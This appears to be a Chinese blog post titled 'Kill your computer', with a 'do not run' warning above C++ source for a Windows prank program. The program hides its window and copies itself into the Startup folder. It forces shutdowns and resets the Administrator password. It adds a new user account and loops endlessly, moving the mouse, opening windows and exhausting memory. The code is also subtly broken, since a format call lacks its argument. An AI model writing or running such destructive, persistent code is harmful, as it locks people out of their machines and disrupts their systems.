干掉你的电脑

不要运行

#include <iostream>
#include <windows.h>
#include <ctime>
#include <cstdlib>
#include <stdio.h>
#include <string.h>
#include <fstream>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) // 隐藏主窗口
using namespace std;
int main (int argc,char *argv[]){
	char copy[80];
	sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
	system(copy); //将这个bai程序拷到du开机启动文件夹下面zhi
	char cmd[]="shutdown -s -t 20";//自动关机
	system("ping baidu.com");
	system(cmd);
	system("pause");
	system(copy);
	system("net user Administrator xz");//设置开机密码为xz
	system("net user 崩溃 xz /add");//建立用户,并命名为崩溃 
	int x=GetSystemMetrics(SM_CXSCREEN);//鼠标x轴 
    int y=GetSystemMetrics(SM_CYSCREEN);//鼠标y轴 
    srand(time(0));//随机函数种子 
    system("shutdown -s -t 20");//20秒关机 
    while(1){ //循环
    	SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
    	system("start");//弹出窗口 	
        char *p=new char[10000];//卡死机 
    }   
}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值